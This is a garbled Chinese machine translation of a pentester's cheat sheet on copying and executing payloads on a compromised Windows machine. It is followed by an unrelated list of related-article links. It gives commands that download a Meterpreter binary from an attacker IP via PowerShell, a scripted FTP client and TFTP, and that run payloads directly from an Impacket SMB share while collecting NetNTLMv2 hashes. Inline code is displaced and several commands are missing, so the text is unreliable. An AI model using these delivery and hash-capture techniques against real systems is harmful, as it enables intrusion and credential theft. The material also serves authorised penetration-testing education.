很多时候,在参与活动中,我发现自己需要将工具或有效载荷从我的Kali linux攻击箱复制到受损的Windows机器上。

ColdFusion服务器,并能够上传一个CFM webshell。这是一个非常有限的非交互式shell,我想从我的攻击机器下载并执行一个反向Meterpreter二进制文件。我使用 Veil 生成了有效负载,但需要一种方法通过简单的命令将文件传输到运行 ColdFusion 的 Windows 服务器。

我把这篇文章放在一起作为我最喜欢的传输文件方式的“备忘单”。

出于演示目的,我将使用所有这些方法复制的文件被调用并位于 .met8888.exe/root/shells

1 通过HTTP

如果您可以访问桌面并且可以打开Web浏览器,则通过HTTP下载文件非常简单,但也可以通过命令行执行此操作。

启动服务器

通常通过Kali的HTTP提供文件的两种方式是通过Apache或Python HTTP服务器。

python -m SimpleHTTPServer

要通过Apache提供文件,只需将其复制到Apache服务并启用即可。Apache 默认安装在 Kali 中:/var/www/html

另一种选择是直接在shells目录中启动Python Web服务器。这只需要一行Python,这要归功于Python的SimpleHTTPServer模块

默认情况下,它在端口 8000 上服务,但您也可以在末尾指定端口号。

当它运行时,当前目录中的所有文件都可以通过 HTTP 访问。 完成后会杀死服务器。Ctrl-C

下载文件

如果您具有桌面访问权限,只需浏览并使用浏览器下载文件:http://YOUR-KALI-IP/shell8888.exe

如果您只有命令行访问权限(例如,通过shell),则通过HTTP下载会有点棘手,因为没有内置的Windows等效于或。最好的选择是使用PowerShell的WebClient对象:curlwget

(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\jarrieta\Desktop\met8888.exe')

2 通过FTP

传输文件的另一个选项是FTP。Windows有一个内置的FTP客户端,所以这个选项几乎总是有效的。C:\Windows\System32\ftp.exe

启动服务器

你绝对可以像在Kali中一样安装一个功能齐全的FTP服务器,但我发现这往往有点过分。我只想要一个简单的临时FTP服务器,我可以上下旋转以共享文件。两种最好的方法是使用Python或Metasploit。vsftpd

Python.该库,就像上面的HTTP一样,允许您在一行中启动Python FTP服务器。默认情况下不会安装它,但您可以使用apt安装它:pytftpd

apt-get install python-pyftpdlib
<span style="color:#404040"><span style="background-color:#ffffff"><span style="color:#f8f8f2"><span style="background-color:#272822"><span style="color:#f8f8f2"><span style="background-color:#272822"><code><span style="color:#7f7f7f">1
</span></code></span></span></span></span></span></span>
<span style="color:#404040"><span style="background-color:#ffffff"><span style="color:#f8f8f2"><span style="background-color:#272822"><span style="color:#f8f8f2"><span style="background-color:#272822"><code class="language-bash">apt-get install python-pyftpdlib
</code></span></span></span></span></span></span>

现在,从要服务的目录中,只需运行 Python 模块即可。没有参数,它在端口上运行并接受匿名身份验证。要在标准端口上侦听:2121

通过HTTP使用FTP的一个好处是能够双向传输文件。如果要授予匿名用户写入访问权限,请同时添加该标志。

        Metasploit.Metasploit中还内置了一个辅助FTP服务器,易于部署和配置。它位于 .将 设置为要共享并运行的目录: auxiliary/server/ftpFTPROOTexploit

下载文件

如前所述,Windows在PATH中内置了一个FTP客户端。您可以打开 FTP 连接,并在命令行上直接从 Kali 下载文件。使用用户和任何密码进行身份验证anonymous

现在,如果你有一个交互式shell,你可以实际进入FTP提示符并发出命令,这非常有用,但是如果你只有命令注入并且一次只能发出一个命令,那就没有那么有用了。

幸运的是,Windows FTP可以直接从命令行获取命令的“脚本”。这意味着如果我们在系统上有一个包含以下内容的文本文件:

open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye

我们可以简单地运行,我们可以下载一个没有用户交互的文件。ftp -s:ftp_commands.txt

如何获取该文本文件?我们可以一次回显一行:

C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo anonymous>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo whatever>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo binary>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo get met8888.exe>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo bye>>ftp_commands.txt
C:\Users\jarrieta\Desktop>ftp -s:ftp_commands.txt

或者,在一长串中完成所有操作:

C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt

无论哪种方式,您最终都会在Windows主机上使用。met8888.exe

3 通过TFTP

如果安装在系统上,则普通文件传输协议是另一种可能性。它以前默认安装在Windows XP中,但现在需要在较新版本的Windows上手动启用。但是,如果您有权访问的Windows计算机恰好安装了客户端,则可以通过单个命令提供一种非常方便的方法来获取文件。tftptftp

启动服务器

Kali附带了一个安装了TFTP服务器,可以通过一个简单的.我一直有一段时间来配置和工作,我很少需要启动并继续运行TFTP服务器作为服务,所以我只使用更简单的Metasploit模块。atftpdservice atftpd start

与 FTP 一样,Metasploit 在 上有一个辅助的 TFTP 服务器模块。设置模块选项,包括 ,用于确定要提供的目录,以及是否也要从 Windows 捕获 TFTP 上载。auxiliary/server/tftpTFTPROOTOUTPUTPATH

下载文件

同样,假设已安装该实用程序,则可以从Windows提示符中获取带有一行的文件。它不需要任何身份验证。只需简单地使用标志和操作即可。tftp-iGET

通过 TFTP 泄露文件也很简单。默认情况下,Metasploit服务器将它们保存在PUT/tmp

TFTP 是一种方便、简单的文件传输方法,因为它不需要身份验证,您可以在单个命令中完成所有操作。

旁注:安装 TFTP。正如我所提到的,默认情况下,TFTP不包括在较新版本的Windows上。如果您真的愿意,您实际上可以从命令行启用TFTP:

pkgmgr /iu:"TFTP"

可能会派上用场,但我总是宁愿“生活在土地上”并使用已经可用的工具。

4 通过SMB

这实际上是我最喜欢的将文件传输到Windows主机的方法。SMB 内置于 Windows 中,不需要任何特殊命令,因为 Windows 可以理解 UNC 路径。您只需使用标准和命令,SMB就会为您自动处理文件传输。更好的是,Windows实际上允许您通过UNC路径执行文件,这意味着您可以在一个命令中下载并执行有效负载!

输入 ,作为 Impacket 项目的一部分。也许有一天我会写一篇博客文章,而不提到Impacket,但那一天不是今天。smbserver.py

要在端口 445 上启动简单的 SMB 服务器,只需指定共享名称和要共享的路径:

python smbserver.py ROPNOP /root/shells

python 脚本负责您处理所有配置,绑定到 445,并接受任何身份验证。它甚至会为连接到它的任何系统打印出散列质询响应。

在一行中,我们已启动并运行了一个 SMB 共享。你可以从 Linux 确认它:smbclient

或者从Windows:net view

复制文件

由于 Windows 处理 UNC 路径,因此您可以将共享视为 Windows 中的本地文件夹。基本的Windows文件命令,如,,,等都只是工作:ROPNOPdircopymove

如果您查看 的输出,您可以看到,每次我们访问共享时,它都会输出来自当前 Windows 用户的 NetNTLMv2 哈希。你可以把它们输入到John或Hashcat中,如果你愿意,可以破解它们(假设你不能只是升级到系统并从Mimikatz获取它们)smbserver.py

        从 SMB 执行文件。由于 Windows 处理 UNC 路径的方式,因此可以直接从 SMB 共享执行二进制文件,甚至不需要先将其复制过来。只需运行可执行文件,就好像它已经是本地的一样,有效负载就会触发:

在我遇到的另一个ColdFusion漏洞中,这被证明是非常有用的。在访问了未受保护的 ColdFusion 管理面板后,我能够将“系统探测”配置为在测试失败时触发。它允许我执行一个程序作为故障操作,我只是使用UNC路径来执行从我的Kali机器托管的Meterpreter有效负载:

当探测器失败时,ColdFusion 连接到我的 SMB 共享并执行有效负载,然后我关闭了并正在运行。

总结

一个好的渗透测试人员需要“生活在土地上”,并知道几种不同的方法来传输文件。您不能总是依靠交互式 shell,更不用说 GUI 了,因此了解传输和执行有效负载的不同命令和技术至关重要。

我概述了使用四种不同协议的几种不同技术:

  • HTTP
  • FTP
  • TFTP
  • SMB

它们的使用取决于目标上可用的内容以及网络上允许的内容。

希望这篇文章能帮助某人,并可以作为某种“备忘单”。让我知道我是否错过了任何你最喜欢的技术!

-罗普诺普

将文件从 Linux 传输到 Windows相关推荐

  1. windows下的库文件在linux的使用,Windows、Linux之间传输文件的几种方式

    常见的文件传输协议有ftp.sftp,sftp就是在ftp的基础上对传输的数据进行了加密. ftp速度快,sftp速度略慢但安全性高. ftp默认使用21端口,sftp默认使用22端口. 我使用的是C ...

  2. linux与window文件通过串口传输方法(zmod传输方法)

    我们在调试linux产品时,有的产品没有网口,只有串口.这时nfs,tfp都用不了.只能用串口来传输文件. 把windows上文件通过串口传输到开发板上. 开发板和电脑通过串口连接. 2.使用Moba ...

  3. Windows scp传输文件给Linux

    Windows scp传输文件给Linux C:\Users\Administrator.DESKTOP-CGIO78B>scp C:\Users\Administrator.DESKTOP-C ...

  4. windows 传输目录文件到linux pscp: xxx: not a regular file

    windows 传输目录文件到linux 报错 pscp: xxx: not a regular file 解决方案 1:所传输的目标目录可能没权限: chmod 777 2: 在使用pscp时加上- ...

  5. 如何往linux虚拟机传文件,Windows中虚拟机Linux传输文件的两个简单的方法

    有的时候,我们可能需要把Windows中的文件上传到虚拟机Linux上去,除了常用的samba服务器,还有那些方法呢? 1.在Windows中设置共享文件,在Linux中挂载共享文件夹 2.使用fil ...

  6. Windows向Linux自动传输文件,Windows向虚拟机Linux传输文件方法

    在Windows中装了个centOS,进行文件操作时,把mv写成了rm,然后就悲剧了.. 赶紧从网上找来文件的具体内容,然后由Windows向Linux挂载共享文件夹. 具体做法: 在Windows中 ...

  7. 使用scp复制传输windows文件到linux

    (scp基于ssh登录,所以如果没有安装ssh无法进行文件拷贝) 检查linux是否安装ssh服:ssh localhost 提示''ssh: connect to host localhost po ...

  8. nodejs借助scp2依赖实现windows传输文件到linux

    前面提到过,java语言中可以通过scp客户端从windows向linux传输文件,而nodejs中也有scp2这个依赖模块,他可以实现从windows上传文件到linux. 我们可以构建一个测试示例 ...

  9. 利用SecureCRT工具在Windows与Linux传输文件命令

    利用SecureCRT工具在Windows与Linux传输文件命令 首先 按下ALT+P开启文件传输会话 : 1.设置Linux与Windows上传下载的路径 cd + 路径: 设置Linux目录 l ...

最新文章

  1. Hazelcast集群服务(2)——Hazelcast基本配置
  2. 朴素贝叶斯应用:垃圾邮件分类
  3. WP7 App性能优化(8):检测应用程序性能(Ⅰ)
  4. a/a的4种链接方式
  5. 浅谈爬虫 《一》 ===python
  6. gethours_日期getHours()方法以及JavaScript中的示例
  7. 设计模式---开闭原则
  8. telnet不是内部命令
  9. 离散数学蕴含等值式前件为假时命题为真的理解
  10. 数据-第13课-链表回顾
  11. oracle数据库自动备份控制文件的目录,16.5 控制文件的自动备份和还原(1)
  12. Source Map的概念
  13. Qt编写的SMTP客户端(库)
  14. ADA程序实例(面向对象特性之多态)
  15. C#计算一个月有多少天
  16. 2步学会word怎么看字数(图文)
  17. python打造excel神器_将Excel与Python完美组合的神器
  18. 在IDC机房,1m宽带下载速度是多少?
  19. keepalived脑裂现象
  20. 第十二届蓝桥杯2021年C++A组省赛题解

热门文章

  1. succi -测手速游戏
  2. Django 表单验证之自定义表单验证器
  3. Space X 火箭载人上天,马斯克改写时代:理科生的浪漫是用钱征服宇宙
  4. 苹果六电池_苹果官网上架新品,18999元起~
  5. COLUMBIA电影公司片头的女人是谁
  6. 【优化调度】粒子群算法求解水火电调度优化问题【含Matlab源码 1181期】
  7. 【从零开始的机器学习】-03 一元线性回归与代价函数
  8. hdoj 1234 开门人和关门人
  9. ERP项目经验(三)
  10. 编写简单的在线考试系统